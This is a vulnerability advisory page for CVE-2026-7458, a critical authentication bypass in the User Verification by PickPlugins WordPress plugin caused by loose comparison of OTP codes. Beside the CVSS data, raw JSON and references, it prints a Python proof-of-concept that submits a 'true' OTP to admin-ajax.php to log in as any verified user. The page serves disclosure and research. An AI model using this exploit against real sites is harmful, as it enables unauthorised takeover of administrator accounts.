Security Vulnerability Report
中文
CVE-2026-7458 CVSS 9.8 CRITICAL

CVE-2026-7458

Published: 2026-05-02 05:16:01
Last Modified: 2026-05-05 19:17:23

Description

The User Verification by PickPlugins plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 2.0.46. This is due to the use of a loose PHP comparison operator to validate OTP codes in the "user_verification_form_wrap_process_otpLogin" function. This makes it possible for unauthenticated attackers to log in as any user with a verified email address, such as an administrator, by submitting a "true" OTP value.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

User Verification by PickPlugins <= 2.0.46

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_cve_2026_7458(target_url, target_email): """ PoC for CVE-2026-7458: Authentication Bypass via loose comparison. """ # The endpoint might vary depending on plugin configuration, often wp-admin/admin-ajax.php login_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload data exploiting the PHP loose comparison vulnerability # Sending 'true' as the OTP code bypasses the check payload = { "action": "user_verification_form_wrap_process_otpLogin", "user_email": target_email, "otp_code": True, # Exploit: Submitting boolean true # 'security' nonce might be required depending on WP config, omitted for clarity } try: response = requests.post(login_url, data=payload) if response.status_code == 200: print(f"[+] Request sent to {login_url}") print(f"[+] Response: {response.text}") # Check for indicators of successful login (e.g., JSON success flag, cookie set) if "success" in response.text.lower() or "logged_in" in response.cookies: print("[!] Potential authentication bypass successful!") else: print("[-] Exploit did not result in obvious success. Target may be patched.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://example.com" email = "[email protected]" exploit_cve_2026_7458(target, email)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7458", "sourceIdentifier": "[email protected]", "published": "2026-05-02T05:16:01.420", "lastModified": "2026-05-05T19:17:22.860", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The User Verification by PickPlugins plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 2.0.46. This is due to the use of a loose PHP comparison operator to validate OTP codes in the \"user_verification_form_wrap_process_otpLogin\" function. This makes it possible for unauthenticated attackers to log in as any user with a verified email address, such as an administrator, by submitting a \"true\" OTP value."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-288"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/user-verification/trunk/includes/functions-rest.php%23L234?rev=3461175", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/user-verification/trunk/templates/email-otp-login-form/hook.php%23L164?rev=3461175", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/user-verification/trunk/templates/email-otp-login-form/index.php%23L71?rev=3461175", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3519113/user-verification", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/35b86488-8f68-4738-a9a8-76d0b7976165?source=cve", "source": "[email protected]"}]}}